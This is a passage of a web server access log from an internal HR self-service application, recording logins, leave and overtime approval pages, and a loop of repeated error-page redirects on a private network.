/eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132650%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132650&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.135 - - [01/Dec/2025:09:46:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4282 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:46:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4282 192.168.11.135 - - [01/Dec/2025:09:46:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:46:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 100.64.0.1 - - [01/Dec/2025:09:48:18 +0800] "CONNECT play.teslacraft.org:25565 HTTP/1.1" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:09:48:18 +0800] "CONNECT play.teslacraft.org:25565 HTTP/1.1" 405 225 192.168.11.81 - - [01/Dec/2025:09:49:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:09:49:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.81 - - [01/Dec/2025:09:49:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:09:49:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.81 - - [01/Dec/2025:09:49:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:09:49:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.81 - - [01/Dec/2025:09:49:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20143198830069586 HTTP/1.1" 200 8420 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:09:49:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20143198830069586 HTTP/1.1" 200 8420 192.168.11.81 - - [01/Dec/2025:09:49:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20143198830069586 HTTP/1.1" 200 11837 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20143198830069586" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:09:49:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20143198830069586 HTTP/1.1" 200 11837 192.168.139.16 - - [01/Dec/2025:09:49:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:49:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [01/Dec/2025:09:49:58 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:49:58 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:49:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:49:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.139.16 - - [01/Dec/2025:09:50:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10647 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10647 192.168.139.16 - - [01/Dec/2025:09:50:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 34467 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 34467 192.168.139.16 - - [01/Dec/2025:09:50:12 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:12 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:12 +0800] "GET 